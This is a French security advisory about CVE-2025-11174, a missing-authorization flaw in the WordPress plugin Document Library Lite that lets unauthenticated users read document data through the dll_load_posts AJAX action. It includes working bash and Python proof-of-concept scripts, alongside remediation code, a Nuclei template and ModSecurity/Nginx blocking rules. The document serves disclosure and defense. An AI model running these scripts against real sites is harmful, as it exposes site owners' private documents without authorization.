
Document Library Lite <= 1.1.6 - Missing Authorization to Sensitive Information Exposure | CVE-2025-11174
Mots-clés : CVE-2025-11174, vulnérabilité Document Library Lite, divulgation d'informations, sécurité WordPress, exploit AJAX non authentifié, vulnérabilité de plugin WordPress, CWE-862, sécurité du plugin document WordPress, contournement d'autorisation, WordPress CVE 2025
Vulnérabilité de divulgation d'informations du plugin WordPress Document Library Lite (CVE-2025-11174) - Faille de sécurité permettant un accès non authentifié à des données sensibles de documents dans le plugin de bibliothèque de documents WordPress.
Une vulnérabilité critique de contournement d'autorisation a été découverte dans le plugin WordPress Document Library Lite qui permet à des attaquants non authentifiés d'accéder à des informations sensibles sur les documents sans authentification appropriée.
Découvert par : Kai Aizen & Avraham Shemesh (SnailSploit)
Publié : 1er novembre 2025
Score CVSS : 5.3 (Moyen)
CWE : CWE-862 - Autorisation manquante
Plugin : Document Library Lite
Éditeur : Barn2 Plugins
Type d'attaque : Divulgation d'informations non authentifiée
Privilèges requis : Aucun (Attaque non authentifiée)
Le plugin Document Library Lite pour WordPress contient une vulnérabilité d'autorisation incorrecte dans toutes les versions jusqu'à la version 1.1.6 incluse. Le plugin expose une action AJAX non authentifiée dll_load_posts qui renvoie un tableau JSON des données des documents sans effectuer de vérifications de nonce ou de capacités.
Cette vulnérabilité permet à des attaquants non authentifiés de :
Note : Le score CVSS de 5.3 (gravité moyenne) reflète une divulgation d'informations limitée. Bien que la vulnérabilité permette un accès non authentifié aux données des documents, l'impact est évalué comme Faible pour la confidentialité, sans impact sur l'intégrité ou la disponibilité.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Détail CVSS v3.1 :
L'action AJAX dll_load_posts est enregistrée sans vérification d'authentification ou d'autorisation appropriée :
// Code vulnérable (simplifié)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
Le préfixe wp_ajax_nopriv_ indique que cette action est accessible aux utilisateurs non authentifiés, et la fonction de callback n'implémente pas :
POST /wp-admin/admin-ajax.php
action=dll_load_posts
La vulnérabilité peut être exploitée via le point de terminaison admin-ajax.php de WordPress sans authentification.
⚠️ À des fins éducatives et de tests autorisés uniquement
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Action immédiate requise :
admin-ajax.php avec action=dll_load_postsVia l'administration WordPress :
Avec WP-CLI :
wp plugin update document-library-lite
Assurez-vous que tous les gestionnaires AJAX implémentent des contrôles de sécurité appropriés :
// Exemple de sécurité AJAX correcte
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Vérifier le nonce
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Nonce invalide');
}
// Vérifier les capacités
if (!current_user_can('read')) {
wp_send_json_error('Permissions insuffisantes');
wp_die();
}
// Votre code sécurisé ici
}
# Vérifier si une version vulnérable est installée
wp plugin list | grep -i "document-library-lite"
Modèle Nuclei :
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
Règle ModSecurity :
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Règle Nginx/OpenResty :
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
Chercheurs :
Processus de divulgation : Divulgation coordonnée
Ces informations sont fournies à des fins de recherche en sécurité et de défense uniquement. Toute exploitation de cette vulnérabilité à des fins malveillantes est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant de tester des systèmes que vous ne possédez pas.
Pour toute question ou information complémentaire sur cette vulnérabilité :
Dernière mise à jour : 2 novembre 2025
L'article complet, la méthodologie et les recherches associées de ce projet se trouvent ici :
https://snailsploit.com/security-research/cves/cve-2025-11174/
Créé par Kai Aizen — chercheur indépendant en sécurité offensive.
snailsploit.com · Recherche · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Même attaque. Substrat différent.
| Métrique | Valeur |
|---|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Aucun (PR:N) |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Faible (C:L) |
| Intégrité | Aucun (I:N) |
| Disponibilité | Aucun (A:N) |